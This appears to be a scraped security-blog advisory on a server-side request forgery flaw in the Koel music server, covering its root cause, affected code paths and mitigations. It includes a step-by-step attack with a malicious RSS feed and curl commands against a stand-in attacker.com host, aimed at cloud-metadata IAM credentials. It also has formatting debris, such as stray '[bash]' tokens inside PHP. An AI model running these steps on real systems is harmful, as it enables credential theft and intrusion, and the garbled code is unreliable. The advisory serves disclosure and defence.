Koel, Server-Side Request Forgery (SSRF), CVE-2026-47260 (High) -DC-Jul2026-1036

Listen to this Post

How CVE-2026-47260 Works

The fix for CVE-2026-47260 (v9.3.5) added an initial `isSafeUrl()` check to several fetchers (synchronizeEpisodes, getStreamableUrl, AddRadioStation, EpisodePlayable), but the redirect-target validation — the per-hop Guzzle `on_redirect` callback added in follow-up commit `be1e867` — was applied to only one path, EpisodePlayable. Every other server-side fetcher therefore has only the initial check, which an HTTP 302 redirect to an internal address bypasses, or no check at all. DNS rebinding (validation and connection resolve DNS separately, with no IP pinning) bypasses the initial check on every path.
An authenticated, non-admin user can thus cause the Koel server to issue requests to arbitrary internal / cloud-metadata endpoints (SSRF) by supplying a URL on an attacker-controlled host that 302-redirects to an internal address.

Root Cause

`App\Helpers\Network::isPublicHost()` / `isSafeUrl()` perform a point-in-time host check with no pinning of the resolved IP, and per-redirect-hop re-validation exists only in `App\Values\Podcast\EpisodePlayable` (the `on_redirect` callback from commit be1e867). Consequently every other fetcher is exposed to:
1. Redirect SSRF — initial URL passes isSafeUrl, then the HTTP client follows a cross-host 302 to an internal target without re-validating the hop.
2. DNS rebinding (TOCTOU) — `isPublicHost` resolves DNS at validation, the HTTP client resolves again at connect time.

Affected Paths (all reachable by any authenticated user):

| | Location | Issue |

||-|-|

| 1 | `PhanAn\Poddle\Poddle::fromUrl()` → `Http::timeout()->get($url)` (used by `PodcastService::addPodcast` / refreshPodcast) | Plain Http::get, follows redirects, no per-hop validation; `refreshPodcast` does not re-run `isSafeUrl` at all |
| 2 | `PodcastService::getStreamableUrl()` (PodcastService.php:244/251) | Has the initial `isSafeUrl()` (line 244) but the request uses `ALLOW_REDIRECTS => [‘track_redirects’ => true]` with no `on_redirect` → 302 to internal is followed. Called at episode stream time via PodcastStreamerAdapter. Also DNS-rebinding-exposed |
| 3 | `PodcastService::isPodcastObsolete()` (:221) `Http::head($podcast->url)` | No isSafeUrl, no redirect validation |
| 4 | `App\Rules\HasAudioContentType` (:45/:54) `Http::head` / `Http::get` | Self-documented “use after SafeUrl”; ordering-dependent, no own validation, no per-hop check. Extends the surface to the internet-radio feature (RadioStationStore/UpdateRequest) |
| 5 | `App\Rules\SafeUrl` validator (:52/:56) | Follows redirects, validates only the final effective host — intermediate-hop requests still fire |
Reachable via the native API (apiResource podcasts, radio/stations; `PodcastController::store` has no authorization check, only

</code>) and the Subsonic API (<code>createPodcastChannel</code>, <code>createInternetRadioStation</code>, <code>refreshPodcasts</code>).

<h2 style="color: blue;">PoC</h2>

A mechanism PoC that runs the exact Guzzle/Laravel-Http call shapes Koel uses (attacker-redirect server + internal-target listener on loopback), verified on PHP 8.2 + Guzzle 7:
- `isPublicHost('127.0.0.1') = false` a per-hop check WOULD block this
- Case1 `Poddle::fromUrl` → [bash] leaked INTERNAL-SECRET-TOKEN
- Case2 `getStreamableUrl` → [bash] leaked INTERNAL-SECRET-TOKEN
- Case3 `EpisodePlayable` → [bash] UnsafeUrl on redirect
- `internal_hits.log: 2 hits` internal service actually reached by Case1 + Case2
Case1/Case2 reaching the internal target while Case3 (the fixed path) blocks under identical conditions demonstrates the incomplete remediation. The full PoC kit (<code>poc.php</code>, <code>attacker_router.php</code>, <code>internal_router.php</code>) is available on request.
End-to-end on a real instance: an authenticated user `POST /api/podcasts` (or Subsonic <code>createPodcastChannel</code>) with a feed URL on an attacker host that returns <code>302 Location: http://169.254.169.254/latest/meta-data/...` (or</code>http://127.0.0.1:<port>/<code>); the server follows it. The response is reflected back via parsed podcast fields / `getStreamableUrl` when the internal endpoint returns</code>Access-Control-Allow-Origin: <code>; otherwise blind SSRF via status/timing.
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: Koel
Version: < 9.3.5
Vulnerability: SSRF (CWE-918)
Severity: HIGH (CVSS 7.7)
Date: 2026-06-12
<h2 style="color: blue;">Prediction: 2026-06-19</h2>
<h2 style="color: blue;">What Undercode Say: Analytics</h2>
[bash]
Check Koel version
php artisan --version
Check for vulnerable Guzzle version
composer show guzzlehttp/guzzle
Audit for unsafe HTTP calls
grep -r "Http::sink()->get" app/
grep -r "Http::get" app/Services/Podcast/
grep -r "ALLOW_REDIRECTS" app/

<h2 style="color: blue;">Code Analysis:</h2>

// Vulnerable pattern — EpisodePlayable.php:42
Http::sink($file)->get($episode->path)->throw(); // No validation on $episode->path
// SubscribeToPodcastRequest.php — SafeUrl only protects feed URL
public function rules(): array {
return ['url' => ['required', 'url:http,https', new SafeUrl]]; // Feed URL only
}
// PodcastService.php:146 — Episode URL stored unvalidated
'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XML

<h2 style="color: blue;">Attack Surface Mapping:</h2>
| Endpoint | Method | Auth Required | Vulnerable |
<h2 style="color: blue;">|-|--|||</h2>
| `/api/podcasts` | POST | Yes (any user) | Yes |
| `/play/{episode_id}` | GET | Yes (any user) | Yes |
| Subsonic `createPodcastChannel` | POST | Yes | Yes |
| Subsonic `createInternetRadioStation` | POST | Yes | Yes |
| `/api/radio/stations` | POST | Yes | Yes |
<h2 style="color: blue;">How Exploit:</h2>
<h2 style="color: blue;">Prerequisites:</h2>
- Authenticated user account (no admin required)
- Attacker-controlled server hosting malicious RSS feed
<h2 style="color: blue;">Step-by-Step Attack Flow:</h2>
1. Host Malicious RSS Feed — Create `feed.xml` on attacker server:

<rss version="2.0">
<channel>
<>Legit Podcast</>
<item>
<>Episode 1</>
<enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/>
<guid>ssrf-1</guid>
</item>
</channel>
</rss>

2. Subscribe to Malicious Podcast — POST to/api/podcasts:

curl -X POST "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://attacker.com/feed.xml"}'

3. Feed URL Passes SafeUrl — `https://attacker.com/feed.xml` is public → validation passes
4. Parse & Store — Koel parses RSS, stores episode `path = http://169.254.169.254/...` unvalidated
<h2 style="color: blue;">5. Trigger SSRF — Play the episode:</h2>

curl -X GET "$KOEL_URL/play/$EPISODE_ID" \
-H "Authorization: Bearer $API_TOKEN"

6. Server Fetches Internal Target — `Http::sink($file)->get("http://169.254.169.254/...")` executes
7. Exfiltrate Response — AWS metadata (IAM credentials) downloaded and streamed back
<h2 style="color: blue;">DNS Rebinding Variant:</h2>
- Attacker domain resolves to public IP during `isSafeUrl()` validation
- Same domain resolves to internal IP (e.g., 127.0.0.1) during actual HTTP connection
- No IP pinning → TOCTOU bypass
<h2 style="color: blue;">302 Redirect Variant:</h2>
- Initial URL passes `isSafeUrl()` (public)
- Server follows 302 →
Location: http://127.0.0.1:8080/admin`
– No per-hop re-validation → internal request executed

Protection:

Immediate Mitigation:

  1. Upgrade to Koel v9.7.1 — contains complete fix
    composer require phanan/koel:^9.7.1
    php artisan migrate
    php artisan cache:clear
    

2. If unable to upgrade immediately:

  • Restrict outbound traffic from Koel server at network level (allow only necessary external endpoints)
  • Block access to RFC 1918 addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and link-local (169.254.0.0/16)
  • Disable podcast and radio station features for non-admin users
  • Monitor for unusual outbound HTTP requests from Koel server

Permanent Fix Strategy (Centralized Middleware):

// Shared Guzzle handler/middleware
$stack = new HandlerStack();
$stack->push(function (callable $handler) {
return function (RequestInterface $request, array $options) use ($handler) {
// Resolve and validate target IP
$ip = gethostbynamel($request->getUri()->getHost())[bash] ?? null;
if ($ip && !$this->isPublicIp($ip)) {
throw new \Exception("Blocked: $ip is not public");
}
// Pin resolved IP for connection (defeats DNS rebinding)
$request = $request->withUri($request->getUri()->withHost($ip));
// Per-redirect-hop re-validation
$options['on_redirect'] = function (RequestInterface $request, ResponseInterface $response, UriInterface $uri) {
$ip = gethostbynamel($uri->getHost())[bash] ?? null;
if ($ip && !$this->isPublicIp($ip)) {
throw new \Exception("Redirect blocked: $ip is not public");
}
};
return $handler($request, $options);
};
});
// Apply to: EpisodePlayable, getStreamableUrl, Poddle::fromUrl,
// isPodcastObsolete, HasAudioContentType, SafeUrl rule

Network Controls:

iptables rule to block outbound to RFC 1918 (example)
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -d 169.254.0.0/16 -j DROP

Impact:

Authenticated (any user) SSRF: access to cloud instance metadata (IAM credentials on IMDSv1), internal-only admin panels, and internal network service probing — from the Koel server’s network position. Same threat model as CVE-2026-47260.
Attack scenario (fully remote, no user interaction): the only precondition is a single low-privilege account. On AWS/GCP/Azure-hosted instances, redirecting to the metadata IP and reflecting the body discloses temporary IAM credentials → cloud-account pivot. (AWS IMDSv2’s token-via-PUT is not reachable through a simple GET-redirect SSRF; IMDSv1 instances are fully exposed.) “Koel only runs on an internal/trusted network” does not reduce the risk — the bug makes the Koel server itself the attacker’s pivot into that trusted network and cloud control plane.

CVSS Score: 7.7 (HIGH) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top